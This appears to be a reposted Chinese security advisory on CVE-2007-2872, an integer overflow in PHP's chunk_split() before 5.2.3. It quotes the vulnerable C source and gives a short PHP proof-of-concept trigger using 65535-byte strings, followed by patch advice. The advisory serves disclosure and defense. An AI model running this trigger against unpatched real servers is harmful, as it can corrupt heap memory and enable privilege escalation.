PHP5.2下chunk_split()函数整数溢出漏洞 分析


Posted in PHP onJune 06, 2007

受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*来源:Gerhard Wagner

链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

PHP 相关文章推荐
php cli 方式 在crotab中运行解决
Feb 08 PHP
php中的观察者模式
Mar 24 PHP
PHP支持多种格式图片上传(支持jpg、png、gif)
Nov 03 PHP
解析mysql 表中的碎片产生原因以及清理
Jun 22 PHP
php获取bing每日壁纸示例分享
Feb 25 PHP
PHP实现图片裁剪、添加水印效果代码
Oct 01 PHP
编写PHP程序检查字符串中的中文字符个数的实例分享
Mar 17 PHP
php处理json格式数据经典案例总结
May 19 PHP
php基于dom实现读取图书xml格式数据的方法
Feb 03 PHP
php PDO实现的事务回滚示例
Mar 23 PHP
thinkphp5框架调用其它控制器方法 实现自定义跳转界面功能示例
Jul 03 PHP
Laravel jwt 多表(多用户端)验证隔离的实现
Dec 18 PHP
phpMyAdmin下载、安装和使用入门教程
May 31 #PHP
测试您的 PHP 水平的题目
May 30 #PHP
Discuz板块横排显示图片的实现方法
May 28 #PHP
中国站长站 For Dede4.0 采集规则
May 27 #PHP
MySQL GBK→UTF-8编码转换
May 24 #PHP
Win2003服务器安全加固设置--进一步提高服务器安全性
May 23 #PHP
站长助手-网站web在线管理程序 v1.0 下载
May 12 #PHP
You might like
php session_start()关于Cannot send session cache limiter - headers already sent错误解决方法
2009/11/27 PHP
PHP MySQL应用中使用XOR运算加密算法分享
2011/08/28 PHP
php中count获取多维数组长度的方法
2014/11/03 PHP
PHP生成word文档的三种实现方式
2016/11/14 PHP
万能的php分页类
2017/07/06 PHP
客户端限制只能上传jpg格式图片的js代码
2010/12/09 Javascript
Jquery 获取checkbox的checked问题
2011/11/16 Javascript
jquery不会自动回收xmlHttpRequest对象 导致了内存溢出
2012/06/18 Javascript
使用JavaScript实现Java的List功能(实例讲解)
2013/11/07 Javascript
jQuery删除一个元素后淡出效果展示删除过程的方法
2015/03/18 Javascript
JS实现横向与竖向两个选项卡Tab联动的方法
2015/09/27 Javascript
JS表单验证的代码(常用)
2016/04/08 Javascript
深入理解JavaScript内置函数
2016/06/03 Javascript
EasyUI的doCellTip实现鼠标放到单元格上提示单元格内容
2016/08/24 Javascript
浅谈Nodejs中的作用域问题
2016/12/26 NodeJs
js实现滑动到页面底部自动加载更多功能
2017/02/15 Javascript
3分钟快速搭建nodejs本地服务器方法运行测试html/js
2017/04/01 NodeJs
解决webpack -p压缩打包react报语法错误的方法
2017/07/03 Javascript
基于html+css+js实现简易计算器代码实例
2020/02/28 Javascript
JS简易计算器实例讲解
2020/06/30 Javascript
梳理一下vue中的生命周期
2020/12/30 Vue.js
[46:58]完美世界DOTA2联赛PWL S3 Forest vs LBZS 第一场 12.17
2020/12/19 DOTA
[32:36]完美世界DOTA2联赛PWL S3 LBZS vs CPG 第二场 12.12
2020/12/16 DOTA
100行python代码实现跳一跳辅助程序
2018/01/15 Python
python 实现分页显示从es中获取的数据方法
2018/12/26 Python
python+gdal+遥感图像拼接(mosaic)的实例
2020/03/10 Python
css3 background属性调整增强介绍
2010/12/18 HTML / CSS
CSS3 Media Queries详细介绍和使用实例
2014/05/08 HTML / CSS
巴西婴儿用品商店:Bebe Store
2017/11/23 全球购物
什么是虚拟内存?虚拟内存有什么优势?
2016/02/09 面试题
校园报刊亭创业计划书
2014/01/02 职场文书
幼儿园老师个人总结
2015/02/28 职场文书
雷锋的观后感
2015/06/10 职场文书
大学校园餐饮创业计划书
2019/08/07 职场文书
python中的class_static的@classmethod的巧妙用法
2021/06/22 Python
Go语言 详解net的tcp服务
2022/04/14 Golang